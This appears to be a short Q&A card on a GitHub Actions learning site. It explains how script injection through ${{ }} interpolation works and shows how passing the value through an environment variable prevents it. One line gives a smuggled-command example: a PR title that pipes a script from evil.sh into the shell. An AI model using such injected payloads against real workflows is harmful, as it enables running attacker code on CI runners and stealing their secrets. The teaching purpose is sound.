What is script injection in GitHub Actions and how do you prevent it?
AdvancedConceptGitHub Actions
Answer
If untrusted data (PR title, branch name, issue body, commit message) is interpolated with ${{ }} into a run: script, it becomes part of the shell command. A PR titled "; curl evil.sh | sh # would execute.
Fix: pass the value through an environment variable and reference it as a shell variable, which is treated as data.
# vulnerable
- run: echo "${{ github.event.pull_request.title }}"
# safe
- run: echo "$PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
Scan workflows with zizmor or actionlint in CI.
More on GitHub Actions
What are workflows, jobs, steps and actions in GitHub Actions?BeginnerWhat events can trigger a workflow?BeginnerWhat is the difference between `pull_request` and `pull_request_target`?AdvancedWhat is a runner, and how do GitHub-hosted and self-hosted runners differ?BeginnerHow do you pass data between steps and between jobs?IntermediateHow does a build matrix work?Intermediate